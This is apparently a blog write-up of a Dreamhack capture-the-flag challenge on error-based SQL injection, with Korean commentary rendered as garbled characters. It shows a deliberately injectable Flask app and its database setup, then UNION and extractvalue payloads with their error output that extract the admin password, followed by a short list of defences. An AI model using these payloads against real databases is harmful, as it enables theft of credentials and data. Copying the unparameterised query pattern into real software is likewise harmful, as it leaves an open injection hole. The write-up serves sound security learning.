๐๏ธ Access
Simple Error Based SQL Injection !
๐พ Exploit Algorithm & Payload
> app.py
import os
from flask import Flask, request
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
'''
@app.route('/', methods=['POST', 'GET'])
def index():
uid = request.args.get('uid')
if uid:
try:
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
return template.format(uid=uid)
except Exception as e:
return str(e)
else:
return template
if __name__ == '__main__':
app.run(host='0.0.0.0')import os
> init.sql
CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';
USE `users`;
CREATE TABLE user(
idx int auto_increment primary key,
uid varchar(128) not null,
upw varchar(128) not null
);
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
FLUSH PRIVILEGES;
#1
: '/' ํ์ด์ง์์ uid ํ๋ผ๋ฏธํฐ์ ๊ฐ์ ์ ๋ ฅํ๋ฉด ๋ฐ์์ ํ์ธํ ์ ์๋ค.
#2
'
(1064, "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''''' at line 1")
: ์ฑ๊ธ ์ฟผํฐ๋ฅผ ์ ๋ ฅ ์, ์๋ฌ๋ฌธ์ด ๋ฐ์ํ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
: ์๋ฌ๋ฅผ ๋ฐ์ ์์ผ์ ์ ๋ณด๋ฅผ ์ป์ด์ผ ํ๋ ๊ฒ์ ์ ์ ์๋ค.
#3
' UNION SELECT 1#
(1222, 'The used SELECT statements have a different number of columns')
' UNION SELECT 1,2#
(1222, 'The used SELECT statements have a different number of columns')
' UNION SELECT 1,2,3# <- ๋ฐ์์ด ๋ค๋ฆ
: ' UNION SELECT 1,2,3# ์์ ๋ค๋ฅธ ๋ฐ์์ด(์ค๋ฅ ๋ฐ์X) ๋ํ๋ฌ๊ธฐ ๋๋ฌธ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค ํด๋น ์ด์ด 3๊ฐ๋ก ๊ตฌ์ฑ๋์ด ์๋ค๋ ๊ฒ์ ํ์ ํ ์ ์๋ค.
#4
' UNION SELECT extractvalue(1, concat(0x3a, version()))#
(1105, "XPATH syntax error: ':10.3.39-MariaDB-0+deb10u1'")
' UNION SELECT extractvalue(1, concat(0x3a, (SELECT DATABASE())))#
(1105, "XPATH syntax error: ':users'")
...
: ' UNION SELECT extractvalue(1, concat(0x3a, ( )))#์ ํ์ฉํ์ฌ ๋ค์ํ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ ๋ณด๋ฅผ ํ์ธํ ์ ์๋ค.
: ์ด๋ 'extractvalue(xml_source, xpath_expression)' ๋ ๋ฒ์งธ ์ธ์์ธ xpath_expression์ XPATH ๋ฌธ๋ฒ์ ๊ฐ์ ๋ก ์ฌ๋ฐ๋ฅด์ง ์์ ํํ๋ก ์์ฑํ์ฌ ์ค๋ฅ๋ฅผ ์ ๋ฐํ ๊ฒ์ด๋ค.
' UNION SELECT extractvalue(1, concat(0x3a, (SELECT LENGTH(upw) FROM user WHERE uid='admin')))#
(1105, "XPATH syntax error: ':44'")
: ์ด ์๋ฌ๋ฌธ์ ํ์ฉํด์ ์ฌ์ฉ์ uid(์์ด๋)๋ง ์๋ฉด ํด๋น ์ฌ์ฉ์์ upw(๋น๋ฐ๋ฒํธ)๋ฅผ ์ ์ถํ ์ ์์๋ค.
: admin(๊ด๋ฆฌ์)์ ๋น๋ฐ๋ฒํธ ๊ฐฏ์๊ฐ 44๊ฐ๋ก ํ์ธ๋์๋ค.
๐Analysis and results for obtaining the Flag DH{…}
์ฌ๊ธฐ์ ๋ค์ํ ๋ฐฉ๋ฒ์ผ๋ก ์ต์คํ๋ก์ ๊ฐ๋ฅํ๋ค.
1)
' UNION SELECT extractvalue(1, concat(0x3a, (SELECT substr(upw,1,1)='A' from user WHERE uid='admin')))#
(1105, "XPATH syntax error: ':0'")
' UNION SELECT extractvalue(1, concat(0x3a, (SELECT substr(upw,1,1)='B' from user WHERE uid='admin')))#
(1105, "XPATH syntax error: ':0'")
...
' UNION SELECT extractvalue(1, concat(0x3a, (SELECT substr(upw,1,1)='D' from user WHERE uid='admin')))#
(1105, "XPATH syntax error: ':1'")
' UNION SELECT extractvalue(1, concat(0x3a, (SELECT substr(upw,2,1)='H' from user WHERE uid='admin')))# (1105, "XPATH syntax error: ':1'") ...
: subquery์์substr์ ํ์ฉํ์ฌ ์ฐธ(True/1), ๊ฑฐ์ง(False/0)์ผ๋ก ํด๋น ์ด์ ์ด๋ค ๊ฐ์ด ๋น๋ฐ๋ฒํธ์ธ์ง ํ์ธํ ์ ์๋ค.
: ๋์ฑ ๋น ๋ฅด๊ฒ ์์๋ด๋ ค๋ฉด ์๋ํ ์ฝ๋ ์์ฑ ๋ฐ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ๋ฉด ๋๋ค.
2)
' UNION SELECT extractvalue(1, concat(0x3a, (SELECT substr(bin(ord(upw)),1,1)=1 from user WHERE uid='admin')))#
(1105, "XPATH syntax error: ':1'")
' UNION SELECT extractvalue(1, concat(0x3a, (SELECT substr(bin(ord(upw)),2,1)=1 from user WHERE uid='admin')))#
(1105, "XPATH syntax error: ':0'")
' UNION SELECT extractvalue(1, concat(0x3a, (SELECT substr(bin(ord(upw)),3,1)=1 from user WHERE uid='admin')))#
(1105, "XPATH syntax error: ':0'")
' UNION SELECT extractvalue(1, concat(0x3a, (SELECT substr(bin(ord(upw)),4,1)=1 from user WHERE uid='admin')))#
(1105, "XPATH syntax error: ':0'")
' UNION SELECT extractvalue(1, concat(0x3a, (SELECT substr(bin(ord(upw)),5,1)=1 from user WHERE uid='admin')))#
(1105, "XPATH syntax error: ':1'")
' UNION SELECT extractvalue(1, concat(0x3a, (SELECT substr(bin(ord(upw)),6,1)=1 from user WHERE uid='admin')))#
(1105, "XPATH syntax error: ':0'")
' UNION SELECT extractvalue(1, concat(0x3a, (SELECT substr(bin(ord(upw)),7,1)=1 from user WHERE uid='admin')))#
(1105, "XPATH syntax error: ':0'")
-> 1000100 = (2^6) * (2^2) = 68('D')
: ๋นํธ ์ฐ์ฐ์ ํตํด์๋ ๋น๋ฐ๋ฒํธ๋ฅผ ์ ์ถํ ์ ์๋ค.
: ์ด๊ฒ ๋ํ ๋น ๋ฅด๊ฒ ์์๋ด๋ ค๋ฉด ์๋ํ ์ฝ๋ ์์ฑ ๋ฐ ๋๊ตฌ๋ฅผ ์ฌ์ฉ
3)
' UNION SELECT extractvalue(1, concat(0x3a, (SELECT ascii(substr(upw,1,1))=68 FROM user WHERE uid='admin')))#
(1105, "XPATH syntax error: ':1'")
: ์ด์ง ํ์์ ํ์ฉํ์ฌ ํด๋น ๊ฐ์ด ์กด์ฌํ๋ฉด 1, ์กด์ฌํ์ง ์์ผ๋ฉด 0์ ๋ฐํํ๋ฉด์ ๋น๋ฐ๋ฒํธ๋ฅผ ์ ์ถํ ์ ์๋ค.
: ์ด๊ฒ ๋ํ ๋น ๋ฅด๊ฒ ์์๋ด๋ ค๋ฉด ์๋ํ ์ฝ๋ ์์ฑ ๋ฐ ๋๊ตฌ๋ฅผ ์ฌ์ฉ
4)
' UNION SELECT extractvalue(1, concat(0x3a, (SELECT upw FROM user WHERE uid='admin')))#
(1105, "XPATH syntax error: ':DH{c3968c78840750168774ad951...'")
' UNION SELECT extractvalue(1, concat(0x3a, (SELECT substr(upw,20,45) FROM user WHERE uid='admin')))#
(1105, "XPATH syntax error: ':8774ad951fc98bf788563c4d}'")
: ์ฌ๊ธฐ์๋ ๋๋ฌด admin(๊ด๋ฆฌ์) upw ๊ฐ์ด ๊ธธ์ด์ ์๋ฆฌ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
: ์ด๋ substr์ ์ด์ฉํ์ฌ ์ผ์ ํ ์์ญ๋ง ์๋ผ์ ๋ฆฌํดํด์ฃผ๋ฉด ๋๋ค.
: ์ฌ์ค ์ด๊ฒ ์ด์ธ๋ ๋ ๋ค์ํ๊ฒ ์ ๊ทผ ๊ฐ๋ฅํ ๊ฒ์ผ๋ก ๋ณด์ธ๋ค.
๐ Summary
Error-Based SQL Injection
๊ณต๊ฒฉ์๊ฐ ์๋์ ์ผ๋ก ์๋ชป๋ SQL ์ฟผ๋ฆฌ๋ฅผ ๋ง๋ค์ด์ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ ์กํ๋ ๊ณต๊ฒฉ ๊ธฐ๋ฒ. ์ด๋ฌํ ์๋ชป๋ SQL ์ฟผ๋ฆฌ๊ฐ ์คํ๋๋ฉด, ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ ์ค๋ฅ ๋ฉ์์ง๋ฅผ ๋ฐํํจ. ์ด ์ค๋ฅ ๋ฉ์์ง๋ ๋ณดํต ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๊ตฌ์กฐ๋ ์ค์ํ ๋ฐ์ดํฐ์ ๋ํ ์ ๋ณด๊ฐ ํฌํจ๋์ด ์๊ธฐ ๋๋ฌธ์ ๊ณต๊ฒฉ์๋ ์ด ์ค๋ฅ ๋ฉ์์ง๋ฅผ ๋ถ์ํ์ฌ ๊ตฌ์กฐ๋ฅผ ํ์ ํ ์ ์๊ฒ๋จ. ์ฃผ์.
-๋์๋ฐฉ์-
1) ์ ๋ ฅ ๊ฐ ๊ฒ์ฆ
2) ํ๋ผ๋ฏธํฐํ๋ ์ฟผ๋ฆฌ ์ฌ์ฉ(Prepared Statement)
3) ์ ์ ํ ์ค๋ฅ ๋ฉ์์ง ๊ด๋ฆฌ
: ์ฌ์ฉ์์๊ฒ ์ง์ ํ๊ฒฝ ๋ฉ์์ง๊ฐ ๋
ธ์ถ๋์ง ์๋๋ก ํด์ผํจ
4) ์ต์ ๊ถํ ์์น ์ ์ฉ
5) ์น ๋ฐฉํ๋ฒฝ ์ฌ์ฉ
...
'[Dreamhack]WebHacking > ๋ก๋๋งต_ServerSide' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] Level2: blind sql injection advanced (0) | 2023.09.16 |
---|